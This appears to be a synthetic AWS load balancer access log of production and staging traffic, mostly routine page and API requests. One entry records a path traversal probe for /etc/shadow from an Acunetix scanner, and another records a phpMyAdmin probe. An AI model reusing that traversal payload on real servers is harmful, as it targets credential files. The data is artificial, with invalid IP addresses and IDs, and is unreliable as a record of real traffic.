2024-11-01T01:33:07.109902Z "forward" "-" "-" "10.0.229.73:443" "404" "-" "-" +http 2024-11-01T01:33:07.942076Z staging-alb 142.226.203.217:16504 225.154.189.227:80 0.131535 0.072200 0.134378 301 301 501 14496 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd63-d1e5ae0c191b4939819ccbc0" "staging-alb.example.com" "-" 9 2024-11-01T01:33:07.942076Z "forward" "-" "-" "225.154.189.227:80" "301" "-" "-" +https 2024-11-01T01:33:08.368893Z prod-web-alb 227.232.165.186:42736 10.0.58.219:443 0.098302 0.349376 0.048532 404 404 309 4517 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd64-06eb7273ff4d4c3cbb580df7" "prod-web-alb.example.com" "-" 2 2024-11-01T01:33:08.368893Z "forward" "-" "-" "10.0.58.219:443" "404" "-" "-" +https 2024-11-01T01:33:09.146729Z prod-web-alb 170.155.151.52:30369 10.0.101.201:443 0.039394 0.496309 0.067978 200 200 765 3214 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd65-917aebe1b09d4501a3093502" "prod-web-alb.example.com" "-" 1 2024-11-01T01:33:09.146729Z "forward" "-" "-" "10.0.101.201:443" "200" "-" "-" +https 2024-11-01T01:33:10.467060Z prod-web-alb 59.12.56.107:32920 10.0.195.86:443 0.053942 0.063167 0.088134 200 200 2 6371 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd66-07dc6bf20bf04e728de21800" "prod-web-alb.example.com" "-" 9 2024-11-01T01:33:10.467060Z "forward" "-" "-" "10.0.195.86:443" "200" "-" "-" +http 2024-11-01T01:33:10.693653Z staging-alb 130.145.133.184:30520 187.216.184.180:443 0.024678 0.107386 0.011701 200 200 693 7418 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd66-6ae178dfc6f34ef0bf9c131b" "staging-alb.example.com" "-" 10 2024-11-01T01:33:10.693653Z "forward" "-" "-" "187.216.184.180:443" "200" "-" "-" +https 2024-11-01T01:33:11.174611Z prod-web-alb 172.229.51.239:20978 10.0.84.201:443 0.032861 0.326914 0.098475 200 200 704 9061 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd67-1995c01aa07f4bd9bf697610" "prod-web-alb.example.com" "-" 4 2024-11-01T01:33:11.174611Z "forward" "-" "-" "10.0.84.201:443" "200" "-" "-" +https 2024-11-01T01:33:12.792299Z prod-api-alb 140.130.35.203:42315 10.0.239.244:443 0.006995 0.293235 0.001840 200 200 954 3802 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd68-09a47d403d3d44fd9bc48d33" "prod-api-alb.example.com" "-" 10 2024-11-01T01:33:12.792299Z "forward" "-" "-" "10.0.239.244:443" "200" "-" "-" +https 2024-11-01T01:33:14.484081Z staging-alb 245.4.199.100:39545 244.123.76.91:80 0.078794 0.149177 0.067731 200 200 199 1494 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd6a-b8a81b74cccc424bad7a0293" "-" "-" 2 2024-11-01T01:33:14.484081Z "forward" "-" "-" "244.123.76.91:80" "200" "-" "-" +http 2024-11-01T01:33:14.793237Z staging-alb 187.251.67.125:33849 155.79.44.209:80 0.029294 0.266749 0.119423 302 302 642 430 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd6a-9e07dba65f35442caac6c26d" "staging-alb.example.com" "-" 6 2024-11-01T01:33:14.793237Z "forward" "-" "-" "155.79.44.209:80" "302" "-" "-" +https 2024-11-01T01:33:16.636736Z prod-web-alb 230.122.224.117:15272 10.0.181.28:443 0.058020 0.135572 0.031821 200 200 383 2430 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd6c-0b0f90ba10854e7d9b228ad3" "prod-web-alb.example.com" "-" 2 2024-11-01T01:33:16.636736Z "forward" "-" "-" "10.0.181.28:443" "200" "-" "-" +http 2024-11-01T01:33:18.340182Z staging-alb 142.157.58.143:14544 76.147.227.121:443 0.011412 0.580173 0.084849 200 200 932 3098 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd6e-d50745c122254ea39e184449" "-" "-" 0 2024-11-01T01:33:18.340182Z "forward" "-" "-" "76.147.227.121:443" "200" "-" "-" +https 2024-11-01T01:33:18.903393Z prod-web-alb 185.181.166.125:11749 10.0.122.72:443 0.050228 0.373385 0.000550 401 401 734 2522 "POST /phpmyadmin HTTP/1.1" "Qualys SSL Assessment Scanner" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd6e-1d09f6776a964c1d8df09f10" "-" "-" 4 2024-11-01T01:33:18.903393Z "forward" "-" "-" "10.0.122.72:443" "401" "-" "-" +https 2024-11-01T01:33:19.861662Z prod-web-alb 200.125.245.112:32835 10.0.184.118:443 0.022146 0.153078 0.042357 301 301 837 12792 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd6f-6723983a0adc4997a1ee36cf" "prod-web-alb.example.com" "-" 3 2024-11-01T01:33:19.861662Z "forward" "-" "-" "10.0.184.118:443" "301" "-" "-" +https 2024-11-01T01:33:20.643841Z prod-api-alb 20.43.72.40:13083 10.0.228.143:443 0.047660 0.113981 0.091209 200 200 199 7703 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd70-f637edbead5d4c4ba51d3b31" "prod-api-alb.example.com" "-" 6 2024-11-01T01:33:20.643841Z "forward" "-" "-" "10.0.228.143:443" "200" "-" "-" +https 2024-11-01T01:33:20.950297Z prod-web-alb 16.122.224.33:53773 10.0.181.239:443 0.016289 0.211877 0.060545 302 302 405 10370 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd70-f5e05d4cd22e4c7a85e1d2ce" "prod-web-alb.example.com" "-" 7 2024-11-01T01:33:20.950297Z "forward" "-" "-" "10.0.181.239:443" "302" "-" "-" +https 2024-11-01T01:33:22.121678Z prod-api-alb 23.37.69.17:60143 10.0.31.119:443 0.057370 0.087963 0.077090 200 200 564 1855 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd72-faee792e68dd4957adfe6793" "-" "-" 0 2024-11-01T01:33:22.121678Z "forward" "-" "-" "10.0.31.119:443" "200" "-" "-" +https 2024-11-01T01:33:23.163427Z prod-web-alb 175.242.206.29:17484 10.0.106.131:443 0.061313 0.455237 0.075719 200 200 808 2937 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd73-71f592c04d1b4461a89abfb1" "prod-web-alb.example.com" "-" 9 2024-11-01T01:33:23.163427Z "forward" "-" "-" "10.0.106.131:443" "200" "-" "-" +https 2024-11-01T01:33:24.215145Z prod-api-alb 187.231.215.95:46631 10.0.170.203:443 0.050789 0.102458 0.011956 200 200 976 3981 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd74-7f7d63bd031643ddb8b02c1a" "prod-api-alb.example.com" "-" 8 2024-11-01T01:33:24.215145Z "forward" "-" "-" "10.0.170.203:443" "200" "-" "-" +https 2024-11-01T01:33:24.864336Z prod-web-alb 44.137.26.129:48137 10.0.78.165:443 0.048086 0.378104 0.037810 200 200 623 9487 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd74-a276a0beecc44c0d85109757" "prod-web-alb.example.com" "-" 10 2024-11-01T01:33:24.864336Z "forward" "-" "-" "10.0.78.165:443" "200" "-" "-" +https 2024-11-01T01:33:26.494937Z prod-web-alb 61.67.143.209:51252 10.0.77.85:443 0.071329 0.481388 0.058100 200 200 961 12244 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd76-53e9c231ccd8408791f5380d" "prod-web-alb.example.com" "-" 9 2024-11-01T01:33:26.494937Z "forward" "-" "-" "10.0.77.85:443" "200" "-" "-" +https 2024-11-01T01:33:27.708469Z staging-alb 24.0.45.58:13912 163.90.16.92:80 0.008455 0.087491 0.136411 200 200 428 4875 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd77-990d8f335ef94c4f8e3fb431" "staging-alb.example.com" "-" 7 2024-11-01T01:33:27.708469Z "forward" "-" "-" "163.90.16.92:80" "200" "-" "-" +https 2024-11-01T01:33:29.260404Z prod-web-alb 190.233.113.204:64494 10.0.41.16:443 0.058746 0.445641 0.051221 200 200 56 4854 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd79-4042b41dd3334c41a01da885" "prod-web-alb.example.com" "-" 0 2024-11-01T01:33:29.260404Z "forward" "-" "-" "10.0.41.16:443" "200" "-" "-" +https 2024-11-01T01:33:30.671867Z prod-api-alb 203.112.188.124:61270 10.0.170.135:443 0.070801 0.079890 0.068403 200 200 459 3383 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd7a-8904f562a4c74684b7078001" "prod-api-alb.example.com" "-" 1 2024-11-01T01:33:30.671867Z "forward" "-" "-" "10.0.170.135:443" "200" "-" "-" +https 2024-11-01T01:33:31.237781Z prod-web-alb 4.171.155.6:18005 10.0.132.8:443 0.077232 0.063328 0.056982 200 200 847 4487 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd7b-d9c79b9006d04b6a988543a5" "prod-web-alb.example.com" "-" 7 2024-11-01T01:33:31.237781Z "forward" "-" "-" "10.0.132.8:443" "200" "-" "-" +https 2024-11-01T01:33:32.874596Z prod-api-alb 205.124.170.36:60408 10.0.17.63:443 0.084371 0.419063 0.034912 200 200 481 14315 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd7c-e8303f663d35467182cdf497" "prod-api-alb.example.com" "-" 6 2024-11-01T01:33:32.874596Z "forward" "-" "-" "10.0.17.63:443" "200" "-" "-" +https 2024-11-01T01:33:34.625888Z prod-api-alb 68.18.220.254:46899 10.0.120.104:443 0.031753 0.406129 0.081849 302 302 354 10026 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd7e-f2f922f4d349445381c4e110" "prod-api-alb.example.com" "-" 2 2024-11-01T01:33:34.625888Z "forward" "-" "-" "10.0.120.104:443" "302" "-" "-" +http 2024-11-01T01:33:35.574605Z staging-alb 242.117.86.237:35048 134.177.104.130:80 0.147921 0.594751 0.076363 301 301 147 8636 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd7f-de93ce6fae9d4045b6bc98e6" "staging-alb.example.com" "-" 2 2024-11-01T01:33:35.574605Z "forward" "-" "-" "134.177.104.130:80" "301" "-" "-" +https 2024-11-01T01:33:35.883232Z prod-web-alb 196.128.59.71:10792 10.0.207.18:443 0.022139 0.059696 0.058072 200 200 381 13000 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd7f-845538c755994e108b484a1d" "prod-web-alb.example.com" "-" 3 2024-11-01T01:33:35.883232Z "forward" "-" "-" "10.0.207.18:443" "200" "-" "-" +https 2024-11-01T01:33:36.356752Z prod-api-alb 94.87.253.52:22811 10.0.222.89:443 0.014084 0.294592 0.078440 200 200 527 6661 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd80-c6c812535a534d4ca192037f" "prod-api-alb.example.com" "-" 7 2024-11-01T01:33:36.356752Z "forward" "-" "-" "10.0.222.89:443" "200" "-" "-" +https 2024-11-01T01:33:37.342064Z staging-alb 211.29.96.238:25821 115.117.182.27:443 0.041615 0.236912 0.085709 200 200 953 6924 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd81-b44c7ae166c646a794efe009" "staging-alb.example.com" "-" 5 2024-11-01T01:33:37.342064Z "forward" "-" "-" "115.117.182.27:443" "200" "-" "-" +https 2024-11-01T01:33:38.399397Z prod-api-alb 184.228.165.76:35200 10.0.85.7:443 0.036524 0.466822 0.018847 302 302 378 3302 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd82-d7f6dcc991014da98cc93afd" "prod-api-alb.example.com" "-" 8 2024-11-01T01:33:38.399397Z "forward" "-" "-" "10.0.85.7:443" "302" "-" "-" +https 2024-11-01T01:33:39.429356Z prod-api-alb 132.190.58.102:14043 10.0.183.204:443 0.055840 0.230415 0.034572 200 200 517 877 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd83-05da4612f920425cb4019c7e" "prod-api-alb.example.com" "-" 4 2024-11-01T01:33:39.429356Z "forward" "-" "-" "10.0.183.204:443" "200" "-" "-" +https 2024-11-01T01:33:39.847285Z prod-api-alb 243.61.249.215:54967 10.0.239.86:443 0.073904 0.095077 0.034604 301 301 741 11675 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd83-1a46a884b6a84ee6a2bba720" "prod-api-alb.example.com" "-" 6 2024-11-01T01:33:39.847285Z "forward" "-" "-" "10.0.239.86:443" "301" "-" "-" +https 2024-11-01T01:33:41.833528Z staging-alb 65.71.209.88:39231 18.56.194.2:443 0.062886 0.306503 0.034100 200 200 750 14501 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd85-af9de3df220d4eedb967eacb" "staging-alb.example.com" "-" 0 2024-11-01T01:33:41.833528Z "forward" "-" "-" "18.56.194.2:443" "200" "-" "-" +https 2024-11-01T01:33:43.488271Z staging-alb 30.15.245.125:17949 212.29.79.125:443 0.032982 0.412187 0.132396 200 200 297 9976 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd87-4b145c194aea4a98a7a2c320" "staging-alb.example.com" "-" 8 2024-11-01T01:33:43.488271Z "forward" "-" "-" "212.29.79.125:443" "200" "-" "-" +https 2024-11-01T01:33:45.466541Z staging-alb 234.237.77.26:30154 85.207.182.228:443 0.087682 0.155441 0.038632 302 302 949 14981 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd89-1bdb7c5046274383a53b68dd" "staging-alb.example.com" "-" 0 2024-11-01T01:33:45.466541Z "forward" "-" "-" "85.207.182.228:443" "302" "-" "-" +https 2024-11-01T01:33:45.896831Z prod-web-alb 73.199.16.13:17932 10.0.46.172:443 0.033637 0.116736 0.033629 302 302 825 13468 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd89-16f153a46cbf48e2b958f16d" "prod-web-alb.example.com" "-" 1 2024-11-01T01:33:45.896831Z "forward" "-" "-" "10.0.46.172:443" "302" "-" "-" +https 2024-11-01T01:33:46.792016Z prod-web-alb 255.49.196.138:47920 10.0.41.138:443 0.021458 0.157890 0.096337 200 200 825 12489 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd8a-5f15d92052c44b80a56dae89" "prod-web-alb.example.com" "-" 10 2024-11-01T01:33:46.792016Z "forward" "-" "-" "10.0.41.138:443" "200" "-" "-" +https 2024-11-01T01:33:47.612619Z prod-api-alb 223.110.157.157:44945 10.0.118.93:443 0.011529 0.284450 0.088650 404 404 527 11291 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd8b-bf54666aee5443b2b0e52c23" "prod-api-alb.example.com" "-" 8 2024-11-01T01:33:47.612619Z "forward" "-" "-" "10.0.118.93:443" "404" "-" "-" +https 2024-11-01T01:33:48.545644Z prod-api-alb 204.87.126.181:58361 10.0.154.172:443 0.087787 0.338929 0.007086 200 200 137 10291 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd8c-e3768ff2b41045cf8756f2de" "prod-api-alb.example.com" "-" 8 2024-11-01T01:33:48.545644Z "forward" "-" "-" "10.0.154.172:443" "200" "-" "-" +https 2024-11-01T01:33:50.014687Z prod-web-alb 106.75.10.100:50965 10.0.211.231:443 0.092580 0.446604 0.020599 200 200 466 7109 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd8e-b613caa4308f4217bb6c5b96" "prod-web-alb.example.com" "-" 4 2024-11-01T01:33:50.014687Z "forward" "-" "-" "10.0.211.231:443" "200" "-" "-" +https 2024-11-01T01:33:50.655545Z prod-api-alb 45.155.205.147:25685 10.0.48.157:443 0.029303 0.034191 0.033154 404 404 957 4242 "GET /images/../../../../etc/shadow HTTP/1.1" "Acunetix-Agent" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd8e-15c7afbdc078467f880e417d" "-" "-" 1 2024-11-01T01:33:50.655545Z "forward" "-" "-" "10.0.48.157:443" "404" "-" "-" +http 2024-11-01T01:33:51.943777Z staging-alb 135.113.103.59:19293 142.223.46.183:8080 0.139033 0.057185 0.005391 200 200 875 11093 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd8f-199db05df92a4eb49ad1aff3" "staging-alb.example.com" "-" 2 2024-11-01T01:33:51.943777Z "forward" "-" "-" "142.223.46.183:8080" "200" "-" "-" +https 2024-11-01T01:33:52.248516Z prod-api-alb 110.42.115.171:40247 10.0.117.218:443 0.023122 0.457062 0.058024 200 200 746 4526 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd90-b5ad4f084d4a46aa8484a6f8" "prod-api-alb.example.com" "-" 4 2024-11-01T01:33:52.248516Z "forward" "-" "-" "10.0.117.218:443" "200" "-" "-" +https 2024-11-01T01:33:53.184276Z prod-api-alb 92.86.219.132:56779 10.0.251.236:443 0.085322 0.253121 0.094604 200 200 446 5854 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd91-85b58e1ea0914f82871047e2" "prod-api-alb.example.com" "-" 6 2024-11-01T01:33:53.184276Z "forward" "-" "-" "10.0.251.236:443" "200" "-" "-" +https 2024-11-01T01:33:53.990095Z prod-api-alb 180.158.226.112:48971 10.0.59.141:443 0.060687 0.010263 0.000279 200 200 733 11333 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd91-a36b0c35d24e4b6dabace5f9" "prod-api-alb.example.com" "-" 8 2024-11-01T01:33:53.990095Z "forward" "-" "-" "10.0.59.141:443" "200" "-" "-" +http 2024-11-01T01:33:55.617602Z staging-alb 179.152.68.202:25781 106.100.123.22:443 0.050345 0.744096 0.062279 200 200 163 13415 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd93-fbdd31341a2146f5823a2de1" "staging-alb.example.com" "-" 1 2024-11-01T01:33:55.617602Z "forward" "-" "-" "106.100.123.22:443" "200" "-" 